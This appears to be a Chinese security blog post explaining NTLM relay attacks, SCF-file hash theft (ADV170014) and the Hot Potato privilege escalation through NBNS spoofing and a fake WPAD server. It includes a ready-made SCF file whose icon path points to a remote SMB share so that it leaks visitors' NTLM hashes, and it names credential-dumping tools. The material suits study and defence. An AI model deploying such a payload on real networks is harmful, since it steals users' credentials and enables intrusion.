NTLM 中间人攻击


NTLM 中间人攻击

NTLM Relay,中间人攻击或重放攻击是一个意思。

B 是一个 smb 服务器,A 来进行认证,B 将 A 的认证信息转发到 C 上,如果 A 的凭证在 C 上认证成功就能进行下一步操作,如创建服务执行命令。如果在域中控制了某些常用服务,如:WEB OA 系统、文件共享等服务则可以尝试使用 SMB 中继攻击来引诱域管理员访问达到获取其他机器权限的目的。

2001年,最早由 Dystic 实现,SMBRelay

2004年,发展为 HTTP -> SMB, BlackHat,未开源

2007年,HTTP -> SMB 被集成到 MetaSploit

2008年,HTTP -> HTTP的NTLM攻击被实现(MS08-067)

获取 NTLM

NTLM的存储位置:

1、系统数据库 SAM(Security Account Manager)

2、DIT 数据库

3、内存 CACHE

NTLM 的获取方式:

1、从 SAM 获取

2、内存获取

3、DIT 数据库获取

4、WCE、PWDUMP、MIMIKATZ…

NTLM的形式:

aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

LMHash (windows 2008 R2系统以后系统默认不保存 LMHash)

NTHash

NetHash - 主要获取该种 hash

远程获取方式(窃取):

1、Responder

2、HTTP+SMB

3、SCF+SMB

4、SQL+SMB

ADV170014 NTLM SSO

2017 年 10 月,微软在周二补丁日公布了一份安全公告(ADV170014),这份安全公告中提到了 NTLM 身份验证方案中的一个漏洞,恶意攻击者可以利用这个漏洞来窃取哈希。

攻击者只需要将一个恶意的 SCF 文件放置在可公开访问的 Windows 文件夹中即可。

一旦文件被放在文件夹中,就会被一个神秘的 bug 执行。它会收集目标的 NTLM 密码散列,并将其发送到一个配置服务器中。

目标主机存在没有设置密码保护的一个共享文件夹,这种场景非常常见,比如办公室、学校、医院以及大多数 Windows 环境中,人们都会通过共享文件夹来共享音乐、照片以及文档。

攻击场景

非正版系统可能没有该设置:

微软在 Windows 3.11 时引入了 SCF 文件。SCF文件其实是纯文本文件,可以用来指导 Windows 文件资源管理器执行一些基本任务。

[Shell]
Command=2 
IconFile=\\192.168.1.2\sharetest.ico 
[Taskbar] 
Command=ToggleDesktop

基于 NTLM 的权限提升攻击——热土豆

2016年 1 月,Dominic White 发表了一篇文章,发布了一种基于 NTLM 反射的权限提升攻击方式,命名为 Hot Potato。

可以从主机的最低用户权限提升至系统最高的 NT\AUTHORITY SYSTEM 权限。

原理

Hot Potato 利用著名的 NTLM Relay 攻击(HTTP -> SMB)和 NBNS 欺骗,获取 Windows 系统的最高 SYSTEM 权限

可以从主机的最低用户权限提升至系统最高的 NT\AUTHORITY SYSTEM 权限。

NBNS 欺骗

NBNS(NetBIOS Name Service)是 Windows 系统中广泛被使用的 UDP 广播服务,即命名查询服务。该服务使用 UDP 协议实现,可以通过发送局域网内广播来实现本地名称解析。

类似于 TCP/IP 协议中的 DNS,它负责查找目标机器相应的 IP 地址,并赋予一个NetBIOS 名称。微软 WINS 服务就是采用 NBNS

流程

系统进行一个名字查询的逻辑如下:

1、首先查询本地的 hosts 文件;
2、DNS Lookup 查询;
3、NBNS 查询 NBNS 的逻辑是向本地所有主机广播一条消息,谁是xxx,如果谁响应了该广播消息,谁就是xxx

原理

在内网渗透测试时,攻击者往往会监听 NBNS 广播消息,并且会应答自己是xxx,这就是 NBNS 欺骗; ARP 欺骗是 MAC 层的欺骗方式;

NBNS 包有 1 个 2 字节的 TXID 字段,必须进行请求\响应的匹配。因为是提权漏洞,所以攻击之前没有权限可以监听流量。可以通过 1-65535 之间进行泛洪猜测。

如果网络中有 DNS 记录,此时就不会用到 NBNS 协议;

可以通过 UDP 端口耗尽的攻击技术,让所有 DNS 查询失败,从而必须使用 NBNS 协议。

WPAD 代理

Windows 系统中,IE 浏览器会自动检测 IE 代理配置信息,方式是访问 http://wpad/wpad.dat&#8221

WPAD 是不一定存在于网络中,因为即使有 DNS 服务器,也没有必要解析 WPAD,除非网络想通过配置脚本自动配置网络中的代理信息,这种情况很方便。

因此在 hosts、DNS 查询都不能获取 WPAD 的情况下,系统必然使用 NBNS 进行名字查询,此时可以通过 NBNS 欺骗,告知自己就是 WPAD。

可以构造 HTTP 服务器,响应 http://wpad/wpad.dat&#8221 查询

通过在 127.0.0.1 上构建 HTTP,将查询 WPAD 的流量 全部引导至本地127.0.0.1;

即使低权限用户发出的对 WPAD 的 NBNS 欺骗,高权限进程也会受影响,认为 WPAD 就是欺骗后的结果。包括本地管理员进程和 SYSTEM 进程

HTTP 到 SMB NTLM Relay

NTLM 认证对于中间人攻击的防御能力不强,此前针对 NTLM 的重放攻击聚焦于 SMB->SMB 协议,反射攻击访问者的主机,获取远程执行权限;

微软通过补丁封堵了 SMB->SMB 协议的重放反射攻击,但是 HTTP->SMB 这种跨协议的攻击仍然有效

Hot Potato 攻击就是结合了这几点,实现权限提升:

1、NBNS 欺骗

2、构造本地 HTTP,响应 WPAD

3、HTTP -> SMB NTLM Relay

4、等待高权限进程的访问,即激活更新服务(低权限可激活)

参考文献

https://foxglovesecurity.com/2016/01/16/hot-potato/

https://blog.csdn.net/qq_27446553/article/details/50559688

http://www.freebuf.com/articles/system/93484.html

http://www.freebuf.com/sectool/160884.html

https://github.com/foxglovesec/Potato


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
域渗透之 Windows Access Token 攻击 域渗透之 Windows Access Token 攻击
域渗透之 Windows Access Token 攻击Windows Access Token 简介Windows Access Token 概念微软官方的定义如下: An access token is an object that
2020-05-11
下一篇 
DCShadow 攻击 DCShadow 攻击
DCShadow 攻击2018年1月24日,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 在 BlueHat IL 会议期间公布了针对域活动目录的一种新型攻击技术 DCShadow 在具备
2020-05-07
  目录